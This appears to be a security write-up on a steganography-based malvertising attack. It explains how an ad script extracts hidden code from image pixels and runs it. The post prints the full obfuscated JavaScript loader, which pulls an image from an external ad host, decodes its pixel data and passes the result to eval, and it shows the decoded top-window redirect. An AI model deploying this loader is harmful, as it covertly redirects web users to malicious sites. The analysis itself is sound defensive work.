Much of the buzz around these types of attacks will have you believe that the image file alone is the threat and that we now have to fear the images that our browsers load during day to day web surfing, but this is a departure from the truth. Validating the integrity of individual image files served in ads makes little sense within the broader context of the execution of these payloads.

In fact, the steganography comes into play in order to deliver only part of the payload, and the image needs to be processed in order for that piece to be extracted and then utilized. The image alone will not harm your computer or redirect your browser.

Let’s look at the code:



<script >

var wsw = "10512" ;var volton = "154c8e99-aad0-4658-b5fb-645c751ad42b";

var canvas = document['getElementById']('iak');

var ctx = canvas['getContext']('2d');

var image = new Image();

image['crossOrigin'] = '';

image['src'] = '

var rs = '';

var isSupportFontFamily = function (c) {

if (typeof c != 'string') {

return ![];

}

var d = 'Arial';

if (c['toLowerCase']() == d['toLowerCase']()) {

return !![];

}

var e = 'a';

var f = 0x64;

var g = 0x64, h = 0x64;

var i = document['createElement']('canvas');

var j = i['getContext']('2d');

i['width'] = g;

i['height'] = h;

j['textAlign'] = 'center';

j['fillStyle'] = 'black';

j['textBaseline'] = 'middle';

var k = function (l) {

j['clearRect'](0x0, 0x0, g, h);

j['font'] = f + 'px\x20' + l + ',\x20' + d;

j['fillText'](e, g / 0x2, h / 0x2);

var m = j['getImageData'](0x0, 0x0, g, h)['data'];

return []['slice']['call'](m)['filter'](function (n) {

return n != 0x0;

});

};

return k(d)['join']('') !== k(c)['join']('');

};

var riXs = document['getElementsByTagName']('body');

var rrxT = riXs[0x0]['style']['cssText'];

if (isSupportFontFamily('-apple-system') && rrxT != 'margin:\x200px;') {

image['onload'] = function () {

ctx['drawImage'](image, 0x0, 0x0);

var o = ctx['getImageData'](0x0, 0x0, image['width'], image['height']);

for (var p = 0x0, q = 0x0; q < 0x4b; p = p + 0x4, q++) {

rs += String['fromCharCode'](o['data'][p + 0x2]);

}

eval(rs);

};

}

</script> var wsw = "10512" ;var volton = "154c8e99-aad0-4658-b5fb-645c751ad42b";var canvas = document['getElementById']('iak');var ctx = canvas['getContext']('2d');var image = new Image();image['crossOrigin'] = '';image['src'] = ' <a href="http://s.ad-pixel.com/sscc.jpg'" class="du hh kh ki kj kk" rel="noopener">http://s.ad-pixel.com/sscc.jpg'</a> var rs = '';var isSupportFontFamily = function (c) {if (typeof c != 'string') {return ![];var d = 'Arial';if (c['toLowerCase']() == d['toLowerCase']()) {return !![];var e = 'a';var f = 0x64;var g = 0x64, h = 0x64;var i = document['createElement']('canvas');var j = i['getContext']('2d');i['width'] = g;i['height'] = h;j['textAlign'] = 'center';j['fillStyle'] = 'black';j['textBaseline'] = 'middle';var k = function (l) {j['clearRect'](0x0, 0x0, g, h);j['font'] = f + 'px\x20' + l + ',\x20' + d;j['fillText'](e, g / 0x2, h / 0x2);var m = j['getImageData'](0x0, 0x0, g, h)['data'];return []['slice']['call'](m)['filter'](function (n) {return n != 0x0;});};return k(d)['join']('') !== k(c)['join']('');};var riXs = document['getElementsByTagName']('body');var rrxT = riXs[0x0]['style']['cssText'];if (isSupportFontFamily('-apple-system') && rrxT != 'margin:\x200px;') {image['onload'] = function () {ctx['drawImage'](image, 0x0, 0x0);var o = ctx['getImageData'](0x0, 0x0, image['width'], image['height']);for (var p = 0x0, q = 0x0; q < 0x4b; p = p + 0x4, q++) {rs += String['fromCharCode'](o['data'][p + 0x2]);eval(rs);};

If translated to plain english, the code would look something like this:

Create a Canvas object (this enables the use of the HTML5 Canvas API in order to interact with images and their underlying data.)

Grab the image located at: hxxp://s.ad-pixel.com/sscc.jpg

Define a function that checks if a specific font family is supported in the browser.

Check if Apple fonts are supported. If not, then do nothing.

If so, then loop through the underlying data in the image file. Each loop reads a pixel value and translates it into an alphanumeric character.

Add the newly extracted character to a string.

Execute the code in the string.

Images, loosely speaking, utilize non-executable file formats for storing compressed data. When a browser or other image viewer of your choice loads the image file, it basically uncompresses the file and uses the data to paint the image one pixel at a time. The “malicious” image above looks like this in a hex editor:

Much the same way as an image viewer needs to uncompress this data in order to render the final result, web developers are able to do their own low-level manipulations of image data using JavaScript and the HTML5 Canvas API.

The data manipulation happens in just a handful of lines of code:

The image itself is just small, white bar:

The hidden code, once extracted from the image, will look like this:

top.location.href =’hxxp://veryield-malyst.com/’ + volton + ‘?var1=’ + wsw;

Here it is with the parameters populated: